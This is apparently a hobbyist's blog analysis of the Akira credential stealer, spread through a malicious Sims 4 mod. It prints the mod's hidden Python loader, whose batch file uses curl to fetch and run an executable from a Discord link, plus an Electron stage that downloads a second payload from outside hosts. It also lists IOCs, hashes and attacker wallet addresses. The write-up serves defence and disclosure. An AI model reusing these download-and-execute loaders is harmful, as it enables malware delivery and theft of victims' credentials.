Akira Stealer - The Sims 4 malware
Stage 0: Introduction
A few weeks ago, a user tried uploading a malicious mod to the Curseforge platform. This mod was aimed at users playing the game “Sims 4”. In cooperation with the Curseforge community, the Curseforge moderation team quickly removed the malicious mod from the platform. I personally found this very interesting, and asked for a copy of the sample from my colleagues, so I could analyze it.
Stage 1: packed Sims 4 mod
Algorithm | Hash |
---|---|
Sha256Sum | 425f89a19d4fe862ae78bafa3a2f17bdbdb416a00e87de78d6d446e71b90abf6 |
MD5Sum | 175735b51ecc5597bd657cba0348db93 |
Unpacking the mod
sims mods (ts4script
files) are basically just a python script and a pyc
object file zipped together, so unpacking it is as simple as running 7z e Social_Events.ts4script
1
2
$> file Social_Events.ts4script
Social_Events.ts4script: Zip archive data, at least v2.0 to extract, compression method=deflate
The extracted mod contained a few files, including a python script that handled the injection of custom content into the main Sims 4 instance, and it is also the entry point for this sample:
The Python script
The Python script itself seemed fairly normal for a Sims 4 mod, except for the fact that it contained the following bit of code before it starts the “mod” part of it:
1
2
3
4
5
6
7
8
9
10
temp_dir = tempfile.gettempdir()
bat_file = os.path.join(temp_dir, "script.bat")
with open(bat_file, "w") as f:
f.write("@echo\n")
f.write("curl -s -o %temp%\sims4c.exe https://cdn.discordapp.com/attachments/1196086210670637076/1204192190151000145/sims4c.exe\n")
f.write("%temp%\\sims4c.exe\n")
f.write("exit\n")
process = subprocess.Popen(["start", "/B", "/min", "cmd.exe", "/C", bat_file], shell=True)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 6)
process.communicate()
The code
1
2
3
4
@echo
curl -s -o %temp%\sims4c.exe https://cdn.discordapp.com/attachments/1196086210670637076/1204192190151000145/sims4c.exe
%temp%\\sims4c.exe
exit
The batch file
This script writes a batch file named script.bat
to the Temp directory, then downloads a file named sims4c.exe
to the same directory, from the following link https[:]//cdn.discordapp.com/attachments/1196086210670637076/1204192190151000145/sims4c.exe
Sadly, by the time I got around to analyzing this binary, the link was dead, and I couldn’t get my hands on it. Thankfully, my colleague managed to download the sample before the authors took the server down, which allowed me to continue my analysis.
Stage 2 : Electron embedded malware
Algorithm | Hash |
---|---|
Sha256Sum | 8c8558dc150de295f4b1d557243b5d978f09cfcec94145cd1ddb5315b3a0d92a |
MD5Sum | eea2a0e923f198af0bc9baacbe7c353d |
file
command output:
1
sims4c.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Nullsoft binaries are, as the file
command output says, self-extracting archives
, meaning that they are basically just a cheap alternative for a packer (in my personal opinion). Thankfully, that also means they are also glorified zip files (in my opinion). Unpacking this binary was as simple as unpacking the first stage:
1
7z e sims4c.exe -oStage2_Unpacked
After unpacking this binary, I had 4 different files:
System.dll
(md5:0d7ad4f45dc6f5aa87f606d0331c6901
)app-64.7z
(md5:e17d4052baa0ad8f72d5d00ae269bda7
)nsis7z.dll
(md5:80e44ce4895304c6a3a831310fbf8cd0
)StdUtils.dll
(md5:c6a6e03f77c313b267498515488c5740
)
The interesting one between all of them was the app-64.7z
archive, as it seemed to contain quite a few files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ 7z l app-64.7z
...
....A 340874 locales/zh-CN.pak
....A 338121 locales/zh-TW.pak
....A 16047692 resources/app.asar
....A 5430320 resources.pak
....A 162352 snapshot_blob.bin
....A 476792 v8_context_snapshot.bin
....A 106 vk_swiftshader_icd.json
....A 4891080 49701855 d3dcompiler_47.dll
....A 2862080 ffmpeg.dll
....A 479232 libEGL.dll
....A 7514112 libGLESv2.dll
....A 162036224 main.exe
....A 107520 resources/elevate.exe
....A 5209088 vk_swiftshader.dll
....A 920576 vulkan-1.dll
...
The interesting files that stood out to me were main.exe
, resources/app.asar
and resources/elevate.exe
I later learned that elevate.exe
was in fact a binary distributed by Microsoft and Unity, for their platforms, and VT said it had no detections and marked it as safe, so I continued on and focused exclusively on the other two suspicious files, main.exe
and app.asar
I had previously worked with the Electron framework for an old project of mine, so I feel like it’s safe to assume that this app.asar
, was probably the data for the main.exe
file in this folder. Let’s reverse it!
Stage 2.1: The Electron data
Using the asar
binary that comes with the Electron package, I ran the following command to unpack it:
1
asar extract app.asar app/
The extracted data contained the following files:
jscrypter.js
, obf.js
, input.js
? these don’t seem normal. Let’s check them out
Stage 2.2 AES payload
I started off by checking out the input.js
file, as it looked like a nice easy place to start looking at, with it being significantly shorter than the other files, and also it contained a big blob of base64
encoded, AES-256-CBC
encrypted text:
1
2
3
4
5
6
7
function decrypt(encdata, masterkey, salt, iv) {
const key = crypto.pbkdf2Sync(masterkey, Buffer.from(salt, 'base64'), 100000, 32, 'sha512');
const decipher = crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64'));
let decrypted = decipher.update(encdata, 'base64', 'utf8');
decrypted += decipher.final('utf8');
return decrypted;
}
The decryption function
The encrypted data
Instead of messing with any external stuff to decrypt this correctly, I just called console.log
on the decrypted code, and wrote the output to a different file.
When looking at the decrypted code, I didn’t notice any malicious activity being done, other than a call to download another file, so I’ll mark this as stage 3. Also, inside the jscrypter.js
file, it accepted the input.js
file as input and obfuscated it, then wrote it to the obf.js
file. For some reason, the malware authors left the original input.js
script in. A mistake maybe? Sidenote: the obfuscator script they use is this one (I think): MichaelXF/js-confuser
Alongside the comments in English, there are also a few comments in Turkish. This could indicate that the authors are Turkish:
Stage 3.0 - Loader 2 electric boogaloo
The deobfuscated payload appears to call a 4th payload, as the function called downloadFile()
would imply: It downloads another file, called pyth.zip
, and stores it in the Temp directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
async function downloadFile() {
try {
const url = 'https://rentry.co/7vzdm/raw';
const response = await axios.get(url);
const fileUrl = response.data;
const fileResponse = await axios.get(fileUrl, { responseType: 'stream' });
const writer = fs.createWriteStream(tempFile);
fileResponse.data.pipe(writer);
return new Promise((resolve, reject) => {
writer.on('finish', resolve);
writer.on('error', reject);
});
} catch (error) {
try {
const fileUrl = "https://bestofmedia.xyz/.well-known/pki-validation/pyth.zip";
const fileResponse = await axios.get(fileUrl, { responseType: 'stream' });
const writer = fs.createWriteStream(tempFile);
fileResponse.data.pipe(writer);
return new Promise((resolve, reject) => {
writer.on('finish', resolve);
writer.on('error', reject);
});
} catch (error) {
console.error('Error:', error.message);
process.exit(1);
}
}
}
4th stage URLs: https[:]//bestofmedia[.]xyz/.well-known/pki-validation/pyth[.]zip
, https[:]//rentry.co/7vzdm/raw
, https[:]//cladrepublic[.]com/wp-includes/widgets/pyth.zip
It seems like the rentry
URL is the first host it tries to download it from, and the bestofmedia
URL is the backup host.
This payload also tries to copy itself to Microsoft’s Internet Explorer directory, specifically, it aims to replace the updater.exe
file in it:
1
2
3
async function startup() {
fs.copyFileSync(process.env.PORTABLE_EXECUTABLE_FILE, path.join(process.env.APPDATA, 'Microsoft', 'Internet Explorer', 'UserData', 'Updater.exe'));
}
Right below that function is what seems to be the main function of this stage, and it does quite a few things: It will download and unzip the pyth.zip
payload:
After that, it will replace a few values in a file called astor.py
, under the Crypto\Util\
directory. Notably, it seems to send data to a Discord webhook, along with another ID.
This %USERID%
value (5203839163
) is mentioned later in the code, and is in fact a chat ID for the webhook mentioned above Along with the Discord webhook and the user ID, it replaces the values for a few crypto currency wallets:
Here they are formatted in a neat table:
Coin | Address |
---|---|
BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
After replacing the values in the script, it overwrites it’s content and executes the script:
After finishing the analysis on the previous obfuscated droppers, I got my hands on the pyth.zip
file, that I couldn’t reach, because the servers were dead, because a colleague of mine managed to restore the files after accidentally deleting them, allowing me to continue the analysis.
Stage 4.0 - Encrypted python file
The zip file was filled with a bunch of files, the large majority of them used to execute python on a system via just a zip file (a mobile python installation), so instead of focusing on those files, I went directly to the file mentioned in the above stages: Crypto/Utils/astor.py
:
This seemed similar to the second stage encrypted JS file, with the AES-CBC
encrypted blob of data that gets executed, so I followed the same method as the previous one, by telling it to print the now decrypted values, instead of executing it:
Running this wrote the decrypted data to a file, which ended up being another python file:
Stage 4.1 - Akira stealer
This python file seemed to me like it’s the actual, final payload of this sample, mostly because skimming through gave me a name to the file I’m looking at:
This gives me a name for the sample, “Akira”. A quick google search reveals that this stealer is pretty common, as seen in the following reports:
But this is MY blog, so here’s MY analysis of the malware’s source code (at least of the parts that interested me):
Credential harvesting functionality
The Akira stealer has quite a few credential harvesting options, including, but not limited to credit cards, browser history, cookies, and obviously, credentials. As seen in the following code snippet, this malware targets a variety of browsers, including those listed below:
- Brave
- Chrome
- Chromium
- Comodo
- Edge
- EpicPrivacy
- Iridium
- Opera
- Opera
- Slimjet
- UR
- Vivaldi
- Yandex
Chromium-based browser paths
The calls to steal the Chromium data
The way it steals said data is pretty basic, it just reads the encryption key from the browser’s Local State
file, decrypts it with a call to CryptUnprotectData
and uses that to decrypt the credentials:
Other than stealing credentials, cookies, and browsing history from Chromium-based browsers, it will also attempt to steal information from Steam, Discord and Telegram:
Steals credentials from steam
Zips telegram folder and stores it in the Akira client folder (saved under `%TEMP%/5203839163.id)
Steals information from Discord platforms
Stealing functions
it will also query the discord API for the billing information of the victim:
Billing theft
It will also inject a stealer for the Exodus and Atomic crypto wallets. However, since the webhook is deleted and the hosting website is down, I can only assume that they’re using the following open source stealer: https://github.com/hackirby/wallets-injection
Summary
In this post, I decided to not include my attempts at analyzing the wallets and domains, because, as mentioned in the post, by the time I got my hands on the sample, the callback servers were down and the discord webhooks were deleted. I did do some light analysis on the wallet addresses, but since I’m a hobby analyst, and not a government organization, or a company with enough budget to afford better tools, I couldn’t really gleam any information that could even begin to point me in the direction of the authors. All I know is that there is a likelihood of them being Turkish, but that’s about it.
Thanks for reading :)
IOCs
Files
script.bat
sims4c.exe
pyth.zip
astor.py
5203839163.id
URLs
https[:]//bestofmedia.xyz
https[:]//rentry.co/7vzdm
https[:]//cladrepublic.com